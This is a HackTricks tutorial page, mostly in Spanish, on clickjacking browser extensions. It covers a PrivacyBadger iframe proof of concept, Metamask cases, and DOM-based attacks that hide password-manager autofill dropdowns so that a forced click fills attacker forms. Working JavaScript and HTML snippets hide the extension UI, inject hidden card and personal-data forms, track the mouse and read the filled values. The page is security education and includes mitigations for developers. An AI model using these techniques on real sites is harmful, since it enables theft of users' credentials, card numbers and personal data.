BrowExt - ClickJacking
Reading time: 10 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Basic Information
This page is going to abuse a ClickJacking vulnerability in a Browser extension.
Si no sabes qué es ClickJacking, consulta:
Las extensiones contienen el archivo manifest.json
y ese archivo JSON tiene un campo web_accessible_resources
. Esto es lo que dicen los Chrome docs al respecto:
Estos recursos estarían entonces disponibles en una página web a través de la URL
chrome-extension://[PACKAGE ID]/[PATH]
, que puede generarse con el métodoextension.getURL
. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.1
Los web_accessible_resources
en una extensión del navegador no solo son accesibles desde la web; también funcionan con los privilegios inherentes de la extensión. Esto significa que tienen la capacidad de:
- Cambiar el estado de la extensión
- Cargar recursos adicionales
- Interactuar con el navegador hasta cierto punto
Sin embargo, esta funcionalidad presenta un riesgo de seguridad. Si un recurso dentro de web_accessible_resources
tiene alguna funcionalidad significativa, un atacante podría incrustar este recurso en una página web externa. Usuarios desprevenidos que visiten esa página podrían activar inadvertidamente este recurso incrustado. Dicha activación podría provocar consecuencias no deseadas, dependiendo de los permisos y capacidades de los recursos de la extensión.
PrivacyBadger Ejemplo
En la extensión PrivacyBadger se identificó una vulnerabilidad relacionada con el directorio skin/
declarado como web_accessible_resources
de la siguiente manera (Revisa el blog post original):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Esta configuración condujo a un posible problema de seguridad. Específicamente, el archivo skin/popup.html
, que se muestra al interactuar con el icono de PrivacyBadger en el navegador, podía ser incrustado dentro de un iframe
. Esta incrustación podía ser explotada para engañar a los usuarios y hacer que hicieran clic inadvertidamente en "Disable PrivacyBadger for this Website". Dicha acción comprometería la privacidad del usuario al desactivar la protección de PrivacyBadger y potencialmente exponerlo a un mayor seguimiento. Una demostración visual de este exploit puede verse en un video de ClickJacking disponible en https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Para abordar esta vulnerabilidad se implementó una solución sencilla: la eliminación de /skin/*
de la lista de web_accessible_resources
. Este cambio mitigó eficazmente el riesgo al garantizar que el contenido del directorio skin/
no pudiera ser accedido ni manipulado a través de recursos web accesibles.
La corrección fue fácil: eliminar /skin/*
de las web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Ejemplo Metamask
Se puede encontrar una entrada de blog sobre un ClickJacking en Metamask aquí. En este caso, Metamask solucionó la vulnerabilidad comprobando que el protocolo usado para acceder fuera https:
o http:
(por ejemplo, no chrome:
):
.png)
Otro ClickJacking corregido en la extensión Metamask consistía en que los usuarios podían Click to whitelist cuando una página era sospechosa de ser phishing debido a “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Como esa página era vulnerable a ClickJacking, un atacante podía abusar de ella mostrando algo normal para que la víctima hiciera clic para añadirla a la whitelist sin darse cuenta, y luego volver a la página de phishing, que quedaría en la whitelist.
Ejemplo Steam Inventory Helper
Consulta la siguiente página para ver cómo un XSS en una extensión del navegador se encadenó con una vulnerabilidad de ClickJacking:
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
El clickjacking clásico en extensiones abusa de web_accessible_resources
mal configurados para poner HTML privilegiado en un iframe y provocar clics de usuario. Una clase más reciente, DOM-based extension clickjacking, apunta a los desplegables de autofill inyectados por password managers directamente en el DOM de la página y usa trucos de CSS/DOM para ocultarlos u oscurecerlos mientras los mantiene clicables. Un solo clic forzado puede seleccionar un elemento almacenado y rellenar inputs controlados por el atacante con datos sensibles.
Modelo de amenaza
- El atacante controla una página web (o consigue XSS/subdomain takeover/cache poisoning en un dominio relacionado).
- La víctima tiene una extensión de password manager instalada y desbloqueada (algunos autofill incluso cuando nominalmente está bloqueada).
- Se induce al menos un clic del usuario (banners de cookies superpuestos, diálogos, CAPTCHAs, juegos, etc.).
Flujo de ataque (autofill manual)
- Inyectar un formulario invisible pero enfocable (campos de login/PII/tarjeta de crédito).
- Enfocar un input para invocar el dropdown de autofill de la extensión cerca del campo.
- Ocultar u oscurecer la UI de la extensión mientras se mantiene interactiva.
- Alinear un control creíble bajo el dropdown oculto para forzar un clic que seleccione un elemento.
- Leer los valores rellenados en el formulario del atacante y exfiltrarlos.
Cómo ocultar la UI de autofill
- Elemento de la extensión
- Opacidad del elemento root (genérico):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- Elemento hijo dentro de open ShadowRoot (etiqueta dinámica, ocultar iframe interno):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- Elemento padre
- Trucos de opacidad en BODY/HTML para hacer la UI de la extensión invisible mientras la página parece normal (p. ej., fondo de captura de pantalla):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Overlay
- Partial overlay: oculta todo excepto unos pocos píxeles para que el dropdown siga siendo clicable (asegúrate de que attacker overlay sea el último en el DOM con max z-index, o usa Top Layer).
- Full overlay using pointer-events:none para que los clics pasen al dropdown oculto; mantenlo persistente con el Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Posicionamiento del clic de la víctima
- Colocación fija: posiciona el dropdown oculto debajo de un control creíble como “Accept cookies”, “Close” o una casilla de verificación CAPTCHA.
- Seguir el ratón: mueve el input enfocado debajo del cursor para que el dropdown lo siga; vuelve a enfocar periódicamente para que un solo clic en cualquier lugar seleccione un elemento:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Impacto y escenarios
- Sitio controlado por el atacante: un solo clic forzado puede exfiltrar datos de tarjeta de crédito (number/expiry/CVC) e información personal (name, email, phone, address, DOB) que no están acotados por dominio.
- Sitio de confianza con XSS/subdomain takeover/cache poisoning: robo mediante múltiples clics de credenciales (username/password) y TOTP, porque muchos managers autofill across related subdomains/parent domains (e.g.,
*.example.com
). - Passkeys: si el RP no liga WebAuthn challenges a la sesión, XSS puede interceptar la signed assertion; DOM-based clickjacking oculta el passkey prompt para provocar el clic de confirmación del usuario.
Limitaciones
- Requiere al menos un clic del usuario y un alineamiento de píxeles decente (superposiciones realistas facilitan solicitar clics).
- Auto-lock/logout reduce las ventanas de explotación; algunos managers aún autofill mientras están “locked”.
Mitigaciones para desarrolladores de extensiones
- Renderizar la UI de autofill en la Top Layer (Popover API) o, de otro modo, asegurar que esté por encima del stacking de la página; evitar que sea cubierta por overlays controladas por la página.
- Resistir el tampering de CSS: preferir Closed Shadow DOM y monitorizar con
MutationObserver
cambios sospechosos de estilo en las raíces de la UI. - Detectar overlays hostiles antes de rellenar: enumerar otros elementos de top-layer/popover, deshabilitar temporalmente
pointer-events:none
y usarelementsFromPoint()
para detectar oclusión; cerrar la UI si existen overlays. - Detectar cambios sospechosos de opacidad o estilo en
<body>
/<html>
tanto pre- como post-render. - Para problemas basados en iframe: limitar el scope de MV3
web_accessible_resources
matches
y evitar exponer UIs HTML; para HTML inevitable, servirX-Frame-Options: DENY
oContent-Security-Policy: frame-ancestors 'none'
.
Referencias
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.